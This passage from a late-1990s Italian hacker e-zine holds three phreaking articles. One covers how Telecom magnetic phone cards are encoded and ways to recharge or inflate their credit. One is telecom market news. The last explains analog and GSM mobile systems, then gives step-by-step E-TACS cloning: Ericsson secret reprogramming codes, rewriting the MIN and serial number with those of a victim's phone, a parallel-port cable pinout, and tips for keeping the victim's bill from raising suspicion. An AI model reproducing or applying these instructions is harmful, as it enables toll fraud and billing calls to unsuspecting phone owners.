possesso sono arrivato ad alcune conclusioni.. Innanzi tutto si tratta di un
codice digitale, ovvero di una sequenza di 0 e 1.
Infatti se si osserva il wave ingrandito, si nota che sono due tipi di onde che
si ripetono in successione (fig2.gif), cosa che implica necessariamente la
presenza di due livelli logici..
Mi sono chiesto perche' le onde abbiano una forma cosi' strana, con quella
rientranza come se fossero mozzate.. Non sono sicuro, ma penso che sia dovuto
al fatto che la testina magnetica ha una banda di lettura troppo stretta e
perde parte delle informazioni memorizzate sulla traccia..

Si puo' ipotizzare come sarebbero dovute essere queste onde (fig3.gif e
fig4.gif) e ci si rende conto di un particolare importante: una e' costituita
da un'unica oscillazione mentre l'altra ne ha due..
Ovvero una ha la frequenza doppia dell'altra. E' una mia ipotesi ma questo si
dovrebbe chiamare standard f-2f, che e' spesso utilizzato in carte di credito e
carte bancarie..

Lo standard F2F e' molto intuitivo:

_____ __ __ _____ __
| |_____| |__| |__| |__| |_____
^ ^ ^ ^ ^ ^ ^
0 0 1 1 0 1 0

Come vedete se in un intervallo di tempo c'e' una sola oscillazione si tratta
di uno zero e di un uno se ce ne sono due...
La parte finale delle carte telecom, quella dove sono memorizzati i soldi, e'
costituita da una serie di zero terminata da un 1, mentre le prime due sono
una sequenza di 1 e 0 variabile da tessera a tessera... E questa e' la sintesi
di quello che sono riuscito a sapere dall'analisi dei wave..

- Cosa possiamo ottenere da queste informazioni -

E' possibile ricaricare una carta telecom?
A questo punto direi proprio di si.. Vediamo in quali modi...

(Tralascio di citare metodi come appoggiare la carta sullo schermo di un
vecchio televisore, o immergerla in un forte campo magnetico... Sono entrambe
delle panzane galattiche...)

1: La ricopiatura analogica
Il primo metodo e' il piu' intuitivo: copiare l'onda di una scheda carica su
una scarica..
Questo e' possibile perche' dai miei studi risulta che il nastro magnetico
delle tessere e' riscrivibile (tanto riscrivibile che durante le mie prove ho
mandato a puttane una scheda carica con 9400... Spero che sia un
investimento...)
Dunque si puo' usare il wave memorizzato dal Dimmy, assieme al circuito di un
vecchio registratore, per pilotare dall'uscita della Sound Blaster una testina
magnetica che copi sulla traccia della tessera scarica quello letto in
precedenza da una carica..
Quali sono i problemi? Il primo problema e' la larghezza della banda di
lettura/scrittura della testina.. Come infatti vi avevo fatto notare in
precedenza, le onde memorizzate nel wave sono tagliate in alto e in basso.. Un
difetto che non e' rilevante se si vuole capire cosa c'e' scritto sulla
tessera, ma che diventa fondamentale quando noi andiamo a scrivere questa onda
parziale su una tessera scarica... Il risultato e' che le cabine telefoniche
rifiuteranno sdegnate la vostra carta..
Il problema puo' essere risolto comprando una testina delle giuste dimensioni..
e qui ci sono altri problemi: quali sono le giuste dimensioni, esistono testine
di questo tipo? Non ne ho la minima idea..
Un altro problema fondamentale e' la velocita' di lettura/scrittura della
tessera..
Il formato F2F impone una velocita' assolutamente costante della tessera,
altrimenti si possono leggere degli 0 al posto degli 1 e viceversa.. poi se la
velocita' e' troppo bassa si rischia di avere un segnale a bassa frequenza che
viene tagliato dai filtri passa-alto della Sound Blaster.. Rendendo vani i
nostri sforzi.. Consiglio di trovare un modo di leggere e scrivere la scheda
con una velocita' di 4-5 cm/s ottenendo cosi' un segnale sui 150 Hz..
Nel caso dell'MTF1 (Dimmy) ho risolto il problema aumentando il voltaggio del
motorino che fa avanzare la scheda, ottenendo un wave (cartatel1.mp3) che
corrisponde a una velocita' di lettura di circa 4,3 cm/s...

2: Sintesi digitale del segnale
Invece di ricopiare un segnale, con tutte le distorsioni connesse, si puo'
usare un programma che ricrei un codice F2F del tutto identico a quello
presente su una tessera..
Questo programma dovrebbe pilotare una piccola interfaccia attaccata alla porta
parallela che inverte la polarita' della testina in modo da ricreare
esattamente il codice di una carta carica... In questo modo oltre a essere piu'
sicuri che la carta caricata funzioni si potrebbero inserire in una tessera
molti piu' soldi del consentito.. La banda magnetica di una scheda non e' mai
sfruttata fino in fondo, c'e' sempre un pezzo vuoto..
Se si riempie quel pezzo prolungando la terza parte del codice si ottiene un
scheda da 15000 e forse anche da 20000 (sempre che la telecom non abbia
predisposto delle protezioni in questo senso...).
I problemi di questo metodo sono i seguenti: in primo luogo non sono neanche
sicuro che lo schema adottato sia l'F2F.. Poi c'e' sempre il problema di
reperire una testina magnetica larga quanto basta.. infine bisognerebbe
calibrare il programma sulla giusta frequenza per far combaciare gli 0 e 1 di
tessere originali e copiate..

Concludo dicendo che in questo momento sono impegnato nello studio di un
sistema di ricarica seguendo le idee del primo metodo.. Se mai dovesse
funzionare aspettatevi un articolo con tutti i dati tecnici necessari per
riprodurlo...

MTF UPDATE - 1

In attesa di progredire nella ricopiatura ho fatto qualche esperimento sulla
possibilita' di rendere indelebili le tessere telecom... in modo ovviamente da
riutilizzarle a piacere.
Non so se lo sapete, ma fino a non molto tempo fa era possibile fare una cosa
di questo tipo piazzando nel punto giusto un piccolo pezzo di nastro adesivo.
In questo modo il debole campo magnetico utilizzato per aggiornare la scheda
non riusciva a fare piu' il suo dovere, trasformado la tessera in una fonte
inesauribile di gioia per il suo proprietario :))
Ora.. che si puo' fare adesso ?
Devo dire che tutti i miei sforzi in questo senso sono stati vani.. Ho provato
praticamente tutto, da piccoli strati di isolante a bagni in liquidi adesivi.
Ho ricoperto le tessere anche con la lacca per capelli di mia nonna e gli ho
fatto fare un bagno nell'acido ferrico (cosa inutile ma divertente). Infine,
sapendo che le microonde provocano degli archi voltaici all'interno dei
metalli, e che queste correnti li riscaldano, ho fatto un ultimo disperato
tentativo: carta da 5000 (ovviamente praticamente scarica.. mica sono
masochista) nel forno a microonde. Cosa dovevo ottenere: in teoria l'effetto
Joule sulle particelle di materiale conduttivo, presenti sulla scheda, avrebbe
dovuto riscaldarle a tal punto da sciogliere lo strato di supporto e fissarle
cosi' alla superfice... Cosa ho ottenuto: mia mamma che mi da' dell'imbecille e
niente altro.
Insomma.. Riuscirete a rendere illeggibile una scheda ma non indelebile.

MTF UPDATE - 2

Finalmente mi e' arrivato quello che aspettavo!!! Ho disponibili due testine
magnetiche predisposte per leggere proprio le carte telefoniche. Collegata una
di queste al mitico registratore del Commodore 64 sono venute fuori due cose
(file: cartatel2.mp3)

La prima e' brutta, ovvero che la migliore qualita' di registrazione ha fatto
cadere l'ipotesi che si tratti di un codice F2F. Sembra infatti (e mi e' stato
confermato da un tipo esperto in queste cose) che sia una modulazione del tutto
atipica.. Probabilemte pensata esclusivamente per le tessere magnetiche
adottate dalla telecom (Controllando sul sito della Urmet ( www.urmet.it ), la
ditta che le produce, sembra proprio che sia un loro brevetto).
Peccato... A questo punto sintetizzare un segnale di ricarica diventa molto
piu' complicato..
La seconda notizia e' pure peggio. Le testine adatte alle schede hanno un
nucleo di lettura/scrittura di quasi 5mm, piu' del doppio di quelle normali..
Il grosso problema riscontrato e' che la lettura avviene senza problemi, ma il
circuito del registratore non ha abbastanza potenza per gestire la fase di
scrittura... Ovvero al massimo si riesce a cancellare la scheda... E non a
ricaricarla..
Puo' essere che la carta telefonica sia pensata in modo da essere solo
cancellata, ma in un mio precedente tentativo ho riscontrato la possibilita' di
incidere dei segnali se il campo e' abbastanza forte.
Cosa implica tutto questo? Che per ricopiare analogicamente una scheda e'
necessario o trovare un registratore che abbia la forza sufficente o costruirsi
un circuito ad hoc (cosa che va molto oltre le mie capacita').

Questi sono i problemi che sto affrontando oggi, caso mai emergano delle
novita'.. State tranquilli... Le troverete nel prossimo numero di BFI :))

Se qualcuno avesse delle informazioni che mi sono sfuggite o ha trovato in
questo articolo delle inesattezze e' pregato di comunicarlo all'e-mail:
<mckrak@psynet.net>

N.B. Dal canto mio, quando (e se) riusciro' a portare a termine questo
progetto, penso che non mi faro' mai dare un soldo per eventuali schede
ricaricate, tipo un servizio umanitario..
..Spero che chi stia leggendo questo articolo faccia altrettanto..

ndr: le immagini e i sample audio sono contenuti nel file mtf.zip

Jack McKrak


ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ÈÍPHREAKiNGÍÍÍÍÍÄÄÄÄÄÄÄÄÄ TELEC0M. C0SE NU0VE. C0SE áU0NE? ÄÄÄÄÄÄÄÄÄÄÍÍÍÍÍÍÍÍͼ

Millenovecentonovantotto.Anno di grandi cambiamenti in casa Tlc.
Liberalizzazione del mercato. Mamma Telecom trema o forse no. Alleanze e
accordi sono all'ordine del giorno. Chi riuscira' ad accaparrarsi i risparmi
del povero utente finale? E che cambiamenti tecnici avverrano nel cuore, nel
motore di questa grande azienda che tanto ha fatto per il bene degli italiani?

-------------------------
Lato finanziario/politico
-------------------------
Il Governo acconsente all'entrata di un terzo gestore nella telefonia mobile.
Telecom stringe alleanze e divide il proprio capitale azionario con i colossi
della telefonia mondiale. I nomi? At&t, Unisource e forse Bt.
Nuovi gruppi scendono in campo con progetti mirati alla telefonia fissa:
WIND: 100% Ministero del Tesoro comincia a coinvolgere partner con cui
condividere il proprio capitale azionario, in particolare con France
Telecom e la German TeleKom.
INFOSTRADA: Potenzia le proprie risorse mettendo mano alla rete delle FS.
Come grosso cliente ha gia' Italia On Line.
ALBACOM: Affiliata italiana della Bt lancia le carde di credito telefoniche
utilizzabili via green, con prezzi concorrenziali in particolare per
tefonate dall'Europa/Usa verso l'Italia.

----------------
Lato Tecnico ;-)
----------------
Riassunto delle puntate precedenti. La mamma Telecom obbligata (e meno male)
dalla liberalizzazione delle Tlc, cambiera' a giugno il sistema di numerazione
telefonica, ovvero si comporra' numero dell'utente sempre e solo con il
prefisso, indipendentemente che egli risieda o no nel nostro distretto
telefonico.
Non preoccupatevi: le tariffe non subiranno variazioni (o almeno spero).
Tutto questo popo di casino e' stato pensato per poter lasciare maggiori
numerazioni ai nuovi concorrenti del settore; ad esempio pigiando il "6" si
potranno utilizzare le tariffe Wind, con il "7" le tariffe Infostrada e
pronunciando la parola "AutoReset" si potra' non pagare le bollette (vabbe' di
questo non sono sicuro..ARGGggG). Semplice no?
Da quello che ho potuto capire sniffando a SX e a DX (MOV,xxx,XXX) sara' la
centralina stessa a identificare la provenienza delle chiamate, per poi
applicare le tariffe in vigore.
Per finire quei poveri carcerati del servizio 187 sostengono che per la fine
dell'anno l'utilizzo del telefono verra' calcolato non piu' in scatti bensi'
in minuti (o secondi?) di utilizzo sopprimendo cosi' il tanto amato/odiato
ciclico. Per chi non lo sa, spiego cos'e' il ciclico.
Nelle vecchie e simpatiche centrali elettromeccaniche, quando ancora la
numerazione avveniva con quell'osceno, ma cosi' postfordista e Taylorista CLACK
CLACK CLACK [...], per calcolare gli scatti da fatturare venne ideato un timer
(il ciclico appunto). Questo vetusto affare a seconda della fascia oraria,
contava i secondi (ad esempio 400sec) e ad ogni giro terminato affibiava uno
scatto ad ogni utente collegato.
Potete facilmente capire che stava nella fortuna dell'utente alzare la cornetta
in questo range di secondi; infatti si poteva capitare quando il timer era a
"1" e quindi sfruttare tutti i 400 sec del primo scatto oppure capitare al
399esimo secondo e farsi fottere uno scatto dalla Sip.
Mediamente il primo scatto aveva quindi una durata dimezzata. A quel tempo
venne varata una legge che consentiva alla Sip e oggi alla Telecom, di
incassare in media mezzo scatto per ogni telefonata andata a buon fine.
E ora? Il Timer elettromeccanico e' stato sostituito con uno software sempre
presente nella quantita' di uno per centralina e quindi si ripropone lo stesso
problema e nelle moderne linee ISDN il mezzo scatto e' stato addirittura
istituzionalizzato! Una vera truffa Legalizzata!
Sta di fatto che, sempre secondo il 187, alla fine dell'anno ogni utente avra'
il suo bel timer (sempre nella centralina) che dapprima contera' gli scatti e
poi i minuti di "connessione".
Fonti non ufficiali sempre Telecom un po' scettiche a riguardo pensano che le
cose andranno per le lunghe , forse anche dopo l'arrivo dei temuti concorrenti.
Queste nuove societa', che si spartiranno la telefonia fissa contribuiranno
davvero al ridimensionamento delle tariffe? Si!
La cosa non sara' pero' cosi'veloce e immediata. Dapprima potranno godere gli
sconti le societa' che hanno centraline proprie interne e potranno sceglire
subito a che societa' collegarsi. L'abbassamento delle tariffe avverra'
dapprima per le chiamate verso e dall'Italia; gia' adesso si vede la Omnitel
che propone tariffe molto basse verso gli Usa con la possibilita' di roaming
internazionale.
Successivamente, prevedo ahinoi tra 3 o 4 anni, anche gli utenti privati
potranno constatare fisicamente che la loro bolletta si e' alleggerita. Ma
quanti canoni dovremo pagare?

Beh si e' fatto tardi , spengo la penna laser e me ne vado a nanna, sperando
di sognare accessi gratuiti in rete come avviene in america.
Siamo sempre pronti a dire che gli americani si fanno sempre riconoscere...
...beh e' proprio vero :).

Greetings: Tutti quelli che mi conoscono in particolare a quelli di CyberNet
Ftn e Irc, in particolare ad Asbesto e Draven, a Vanadio per avermi
comprato l'80386 (ma adesso pagamelo pero') a Spirit che chiava poco
e a quel toscanaccio di Goku...MAREMMA MAIALA!

SEE YA
Black Berry


ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ÈÍPHREAKiNGÍÍÍÍÍÍÍÍÍÍÄÄÄÄÄÄÄÄÄ CELLULARi AND RELATED ÄÄÄÄÄÄÄÄÄÄÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
I-II PARTE

In coerenza con lo stile di pIGpEN e per mancanza di idee :)
Autore: |PazzO|
Consumo: 20 ore di sonno + o -, 3 cellulari bruciati (scherzo), 1 rotolo di
carta igienica (raffreddore)
Rompimenti di coglioni: 2 Telefonate, Citofono, Cellulare, Mia madre, mia
sorella!! GRRRRRRRRRR
Musica Ascoltata: (accendo la radio e scrivo a caso) OasiS a manetta!!!!
Dedica: A Micaela perche' anche se non la conosco (ma chi e' questa tizia lo
sapro' mai?) ha un server talmente impenetrabile che sta facendo uscire
pazzi tutti gli hackers (o lovers) di S0ftPj
Subject: Cellulari and related (Almeno questo era l'intento prima di scrivere
l'articolo)
Parte: Prima e Seconda

Premetto che se non ve ne fotte un caxxo di come funzionano i cellulari, di
cosa sono e perche' ci sono 3 diversi sistemi, di cosa usate per telefonare e
di come lo fate, ma vi interessa solo chiamare gratis allora o siete dei Lamah
o siete degli impazienti di quelli che aprono 300 finestre di NETscape fino a
fare impallare tutto come me, in quest'ultimo caso jumpate direttamente alla
seconda parte dell'articolo, anche se vi consiglio di leggerlo attentamente
perche' e' molto interessante (almeno credo).

La domanda che in generale affolla la mente di tutti i Phreakers d'Italia, ma
soprattutto la mente dei miei quando pagano la bolletta del telefono e' "Ma si
puo' telefonare gratis in qualche modo tipo alzo la cornetta sto 4 ore
attakkato e non pago un caxxo????".
Beh vi anticipo che alla fine del mio piccolo/grande articolo voi riuscirete
tranquillamente a chiamare gratis* ovunque voi crediate. *(per il significato
del termine Gratis vai piu' avanti).

Voglio premettere che tutto cio' che scrivo e' a scopo PURAMENTE INFORMATIVO ED
EDUCATIVO e che e' proibito dalla legge del nostro stato manipolare telefoni
cellulari a danno altrui o della Telecom Italia Mobile per trarne vantaggi. Non
sono dunque responsabile per atti criminali dovuti al cattivo uso di queste
informazioni e non mi ritengo nemmeno responsabile per danni causati a telefoni
cellulari E-Tacs o GSM dal cattivo funzionamento di codici o altro contenuto
in questo articolo. Non prendetevela con me quindi se il vostro cellulare
smette di funzionare o fonde inspiegabilmente, anche perche' e' molto
difficile per un inesperto manipolare il Firmware di un telefono non
compromettendolo definitivamente. Ah, dimenticavo, se vi arrestano per aver
clonato 1,10,100 cellulari io non rispondo delle vostre azioni criminali.
Questo articolo e' scritto per i possessori di cellulari in modo da
consentire di proteggersi da eventuali clonatori.

Innanzi tutto devo fare una precisazione sul termine Gratis. Molti intendono
per telefonare gratis il telefonare senza pagare una lira, beh sarete sorpresi
dal fatto che non e' cosi'. Esiste una sottile differenza tra il chiamare
gratis e il chiamare a spese altrui. Nel primo caso la mia chiamata non la paga
nessuno poiche' non viene addebbitata dalla TIM, mentre nel secondo caso la mia
chiamata viene addebbitata a un povero disgraziato al quale avremo clonato la
sim o il cellulare, quindi state attenti poiche' queste info in campo di Cell
Ph oggi permettono solo di telefonare a spese altrui e non gratis, ma penso che
per voi non faccia poi grande differenza. ;-))

Iniziamo ora la parte veramente interessante con dei cenni preliminari sui
sistemi cellulari oggi in uso.
Esistono due sistemi di cellulari attualmente in uso in Italia e un terzo in
uso nel mondo intero, cioe' un sistema analogico e due sistemi digitali.
Il primo, in Italia, e' definito sistema E-TACS ed e' attualmente quello che
garantisce la maggior copertura sul territorio nazionale sia a livello di linee
disponibili sia a livello di antenne impiantate.
Il sistema E-tacs si basa su una tecnologia di prima generazione ovvero
analogica. Il cellulare agganciato alla rete infatti non tramuta le
informazioni in formato digitale ma le trasmette cosi' come le riceve dal
microfono o dalla tastiera all'antenna che le smista alla centrale sino alla
rete Telecom.
Questo sistema antiquato ci permette oggi di ascoltare con un semplice scanner
le conversazioni altrui senza poter essere scoperti da nessuno e senza
disturbare o interrompere la linea (per freqs e info vedi: BFI n.1
"Radioascolto per veri ascoltoni",Vanadio).
In pratica il cellulare possiede un numero di identificazione che viene fatto
coincidere con il Serial Number, grazie al quale si registra sull'antenna che
inoltra la chiamata. In pratica quando noi premiamo il tasto invio del nostro
telefono esso dialoga per 2-3 secondi con l'antenna che lo sta servendo,
trasmettendogli il suo numero di identificazione associato al numero del
chiamante; intanto l'antenna dialoga (questa volta via cavo) con la centrale
telefonica, la quale controlla se l'utente e' abilitato a chiamare -del tipo:
se ha pagato la bolletta- ;-)
E dopo aver ricevuto la conferma attende che il cellulare le trasmetta il
numero da chiamare, il cellulare ricevuto l'ok trasmette il numero e si
connette alla rete telefonica ed effettua la chiamata (voglio ricordare che la
prima parte del processo si ripete ogni volta che il cellulare passa da ricerca
campo a campo per consentire la ricezione delle chiamate con un grande
dispendio di energia).
E allora come faccio a fottere questo sistema?
Bisogna dire che i cellulari nascono di fabbrica senza nessun contratto o
registrazione ma gia' con un numero seriale: e chi li attiva?
Ma i nostri amiconi della Telecom, naturalmente, che posseggono tutti i codici
di riprogrammazione di telefoni cellulari e che prendono per fare questo
L.500.000 di attivazione (mocc a'loro).
Ma se lo fanno loro che sono stati assunti per raccomandazioni e che non
distinguono un pc da un televisore, perche' io non dovrei farlo?
L'unico modo per fregare quindi l'antenna (che io sappia) e' simulare che il
nostro cellulare sia un untente abilitato e per fare questo bisogna inserire il
codice ed il numero di qualcun altro. Su questo torneremo dopo... (ehehe sono
sadico!!)
Il sistema E-tacs si e' rivelato di scarsa sicurezza e bassa qualita'
facilitando l'introduzione del nuovo standard europeo per la telefonia digitale
che e' rappresentato dal GSM ovvero Global Mobile System.
Il passaggio dall'analogico al digitale e' dunque tutt'ora in corso e si
completera' entro il 2000. Ma le differenze tra analogico e digitale quali
sono dunque? Beh a tutti quelli che mi fanno questa domanda io faccio questo
esempio: pensate ad un giradischi vecchio modello e ad un lettore cd, il primo
legge dai dischi direttamente la musica incisa e ha il compito di amplificarla
tramite la testina che trasforma le incisioni in suono e tramite
l'amplificatore, il secondo invece ha il compito di trasformare le informazioni
COMPRESSE nel formato digitale in suoni e poi di amplificarle garantendo quindi
il passaggio di informazioni di qualita' maggiore in un minor spazio e in
formato digitale.
Oggi il sistema digitale consente una sicurezza maggiore grazie al sistema
nuovo di autenticazione (del quale parlero' dopo), un risparmio di energia
grazie alla nuova tecnologia dei cellulari, una qualita' quasi perfetta di
trasmissione (almeno in teoria) grazie al flusso di dati, la possibilita' di
utilizzare piu' apparecchi con lo stesso codice sfruttando la mobilita' della
SIM CARD (il cuore del telefono) e infine il nuovo servizio di roaming per
collegarsi sulle reti di piu' gestori sparsi sul Globo. Piu' propriamente il
sistema GSM e' nato per la trasmissine DATI applicata alla telefonia, quindi
per quanto possa sembrare paradossale la funzione di trasferimento dati audio
(Telefono) e' da considerarsi una funzione accessoria di quello che e' il piu'
potente sistema di trasmissione dati via etere al mondo.
Ma come funziona in pratica il sistema GSM?
Il sistema Gsm si basa sulla trasmissione dati su una determinata frequenza
radio assegnata dal governo al Gestore (colui il quale si prende l'onere di
costruire le antenne e di vendere l'abbonamento a prezzi concorrenziali -vedi
TIM o OMNITEL-). L'apparecchio GSM oggi disponibile in numerose Marche,
modelli, dimensioni e capacita' diventa quindi Universale grazie alla SIMcard,
che e' la tessera che contiene le informazioni relative al contratto
dell'abbonato (algoritmo di idefinticazione) e dati relativi alle impostazioni
del cellulare, numero di telefono etc (Seguira' presto una DETTAGLIATA
spiegazione del funzionamento della SIM CARD e della sua composizione
FONDAMENTALE per poter riprodurne una"in casa").
Il sistema GSM e' inpenetrabile in fase di "identificazione" con l'antenna
grazie all'algoritmo di identificazione che viene assegnato al Gestore il quale
a sua volta lo usa per produrre le proprie schede SIM. Quando noi premiamo il
tasto invio, questa volta il cellulare attende la trasmissione di un numero
casuale a 128 bit che gli verra' fornito dal centro autenticazione contattato
dall'antenna, il numero passa dal cellulare alla sim che lo passa attraverso le
sue copie degli algoritmi A1,A8 e ki, formula la Risposta a 32 bit e la
restituisce al network, lo stesso numero casuale viene di nuovo manipolato
dall'algoritmo A8 e dal ki e forma la cyper key (la chiave) che viene inviata
al network, il sistema di autenticazione controlla se le due chiavi sono state
trattate con l'algoritmo A8 e ne estrae il ki (identificazione) controllandone
la validita' e dando quindi il via libera alla transazione.
Questo sistema garantisce che anche con la completa intercettazione dei dati
non si possa risalire a nessuna informazione utile ai fini del Sim cloning.
(Che ne dite e' sicuro o no questo sistema?)
Il Gsm quindi e' un sistema sicuro (o almeno questo si crede ;-), ma poi daremo
un'okkiata a come riuscire a "fottere" questo sitema.
Il terzo e ultimo sistema (che io conosca) e' il global satellitar system che
adopera la tecnologia digitale utilizzando pero' come antenne di diffusione non
le classiche celle ma i satelliti in orbita intorno al globo, garantendo una
copertura TOTALE dell'intera terra, ma con costi altissimi di gestione e quindi
di servizio. Non mi sono interessato granche' di questo servizio e non so fino
a che punto ne valga la pena oggi visto che esistono pochissimi apparecchi in
giro in grado di captare i segnali del satellite e quindi di usufruirne
(esclusi i telefoni degli Aereoplani), ma comunque fregare questo sistema e'
piu' facile di quanto si pensi (dopo vi svelero' il mio piccolo segreto!!).

Fine della prima parte...

SECONDA PARTE (cercate di chiudere qualche finestra del browser prima ;-)

Se avete chiuso tutto le finestre e vi siete un po' tranquillizzati iniziamo
con la seconda parte che tratta di E-Tacs Cloning. Ho gia' detto prima che non
e' possibile clonare un qualsiasi cellulare E-Tacs poiche' non possediamo
l'algo (penso) che genera i Serial Number ai produttori di cellulari i quali
poi li notificano alla Telecom.
Di conseguenza per poter clonarne uno dovrete possedere almeno un serial number
di un cellulare ATTIVO (cioe' che ha un contratto o una Tim card ricaricabile
ATTIVA) e il numero di telefono di quel cellulare. In pratica tutto quello che
dovete fare e' prendere un cellulare, sollevare la batteria, leggere il Serial
Number che in genere e' accompagnato da un codice a barre, leggere il modello
preciso del cellulare e infine appuntarsi anche il numero di telefono di quel
cellulare.
Fatto questo, che e' la parte piu' difficile di tutto il processo ed e' anche
quella che puo' causare piu' problemi dal punto di vista legale se non usate un
vostro cellulare per questo esperimento, siete gia' al 50% del lavoro.
I modelli di cellulari esistenti oggi sul mercato sono moltissimi e non posso
elencarli tutti, quindi partiro' dai modelli piu' diffusi, in particolare con
il modello Ericsson EH237 che e' stao il primo cellulare che io abbia mai
clonato.
Ora chiudetevi in una stanza soli, lontano da occhi indiscreti, portetevi una
bella ragazza con voi (anche se non garantisco la riuscita del cloning in
queste circostanze), oppure andate in Metropolitana o in P.zza Duomo a Milano,
tanto nessuno notera' niente, e iniziate ad entrare nel "test mode" del vostro
cellulare, cosi' potrete esplorare le funzioni nascoste e le opzioni impostate
dal gestore telefonico della vostra zona.
Per riuscire a modificare il software di un cellulare (il quale poi non e'
nient'altro che una aaprom riprogrammabile) in alcuni casi basta possedere i
codici di riprogrammazione, mentre in altri casi bisogna "costruire" un cavo
per interfacciare il Telefono cellulare con il vostro Personal Computer, dal
quale poi lanceremo un programma di programmazione cellulare che variera' da
modello a modello, ma che avra' sostanzialmente le stesse funzioni, cioe'
riprogrammazione NAM.
Naturalmente il modo piu' semplice per riprogrammare un cellulare e' quello di
utilizzare i codici di riprogrammazione segreti, ma spesso (soprattutto grazie
ai nuovi sistemi di sicurezza degli stessi) diviene indispensabile costruire un
cavo di interfaccia Parallelo-Piede del telefono armati di molta pazienza, cavi
di rame, nastro isolante ed un paio di forbici.
Ma rieccoci al nostro EH 237, per iniziare PROCURATEVELO ;-) ma in caso di
impossibilita' seguite bene i passaggi che vi proporro'. Innanzitutto spegnete
il cellulare, togliete ogni tipo di blocco e riaccendetelo. Subito dopo averlo
riacceso digitate il codice di riprogrammazione esatto:

FCN 923885 (or M 923885)
" 924885 "
" 904885 "
" 904005 "
" 904035 "
" 904085 "
FCN 904030 (il quale vi permettera' di clonare il cellulare 3 o 4 volte al
massimo, quindi attenzione!!)
FCN 900000 (il quale invece vi chiedera' ben cinque codici PIN per ora
sconosciuti).

Nota bene che il codice di riprogrammazione varia di cellulare in cellulare in
base al software montato, per non avere problemi vi consiglio di provare prima
i codici di riprogrammazione OGNUNO DA SOLO (spegnendo e riaccendendo il
cellulare tra un codice ed un altro) UNO DOPO L'ALTRO (cioe' prima fcn 923885
poi se non accade niente fcn 924885 e cosi' via sino ad arrivare alla fine
della sequenza) sino a quando non si entrera' nel test secret mode del
cellulare.
Una volta inserito il codice si entra nel menu' del test mode che purtroppo
varia non solo da modello a modello ma da software a software, per questo non
troverete mai nulla di preciso su come sono strutturati i menu', ma potrete
fare benissimo affidamento sulle vostre capacita' intuitive. Quello che dovrete
fare e' in pratica riprogrammare il MIN ovvero i numero di identificazione
(0337etc/0330etc), piu' precisamente entrare nel menu' del MIN, cancellare con
il tasto C il vecchio e riscrivere il nuovo, riprogrammare il SN naturalmente
con quello che ci siamo procurati, salvare le impostazioni e riavviare il
cellulare. Fatto questo il vostro cellulare si dovrebbe comportare adesso come
il cellulare che e' stato clonato, quindi dovrebbe squillare quando qualcuno fa
quel numero e addebbitare la chiamata su quel numero, naturalmente senza che il
leggittimo proprietario se ne accorga. Le uniche cose a cui dovrete prestare
attenzione sono:
1) non rispondere alle chiamate in entrata
2) non abusare del cellulare, perche' se al malcapitato dovesse arrivare una
bolletta esuberante egli non solo si farebbe disdire il contratto, ma la
Telecom aprirebbe un'indagine utilizzando come indizi i numeri chiamati da
quel telefono, con conseguente rapida gattabuia.
E se quei codici non avessero funzionato?
In tal caso useremo il nostro bel Pc per clonare il nostro cellulare dovendo
pero' costruire un cavo che colleghi il cellulare alla porta parallela dello
stesso PC.
Ecco lo schema del cavo da costruire con relative istruzioni:

Parte bassa del telefono vista con la tastiera verso l'alto:
^ ^ ^
o o o o o o o o o o o o o o
21 8 11
Dove 21, 8 e 11 rappresentano i numeri dei pins della "male 25-way d-plug",
ovvero porta parallela che connette la vostra stampante al PC, ai quali vanno
connessi rispettivamente il terzultimo, il quartultimo e l'ottavo pin del
cellulare.
Naturalmente il modo piu' semplice di procurarsi un cavo del genere e' quello
di trovare un vecchio caricatore oppure la presa accendisigari della macchina
e modificarlo in modo da renderlo utile al nostro scopo, cioe' tagliando la
presa accendisigari e collegando i tre cavi come segnato sopra da una parte e
alla porta parallela al pin 21, 8 e 11 dall'altra. Per questo e' importante che
il cavo che avrete scelto non sia uno stampato in plastica per quanto riguarda
la presa, quelli cioe' che non si ossono modificare se non squagliandoli (come
per es. quelli del PC), ma che sia un semplice cavo da telefono cellulare in
modo da poter spostare i tre contatti dove ci interessa che siano.
Spero di essere stato abbastanza chiaro a riguardo, cmq sembra molto piu'
difficile di quanto non lo sia in realta', ipoteticamente potreste anche
prendere 3 cavetti minuscoli e fargli fare contatto a mano sui pin giusti,
magari saldandoceli per un attimo, e infirarli nei buchini della presa
parallela, ma vi garantisco che il primo metodo e' il piu' efficace.
Fatto questo lanciate il programma sul vostro pc, seguite le istruzioni e sara'
facile come fumarsi un caxxone in un campo di Maxxxxana.
Ci sono delle voci in giro che dicono che i telefoni ericsson hanno una
sicurezza che li disattiva dopo 40 volte o meno e li rende inutilizzabili.
Beh, io sono arrivato a vedere cellulari Ericsson riprogrammati per piu' di 30
senza problemi, ma non si sa mai......
State attenti e seguite le mie istruzioni e tutto dovrebbe andare bene, in
questo caso vai all'inizio dell'articolo e leggi cosa penso dell'abuso di
queste informazioni a danno proprio o altrui.
Nel prossimo numero tenteri' di fare altri 2 o 3 modelli tipo Motorola, Nec e
altri, per ora mi interessava spiegarvi + o - di cosa si trattava.
Per i GSM e' tutto un altro discorso, ci arrivero' presto, e' ancora piu'
semplice, ma e' un po' teorico.
A presto amici smanettoni di cellulari.
Se ne sapete piu' di me o credete che abbia scritto qualcosa di sbagliato o
volete collaborare con me per proseguire la scoperta del digitale contattatemi
all'indirizzo e-mail S0ftPj98@usa.net specificando che il msg e' destinato alla
mia attenzione.

ndr: il file celly01.zip contiene il software di riprogrammazione cellulari
Ericson (versione DOS, realizzato dalla Ericson stessa). Per utilizzarlo
e' necessario avviare il sys da un disco di boot.
|PazzO|


ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
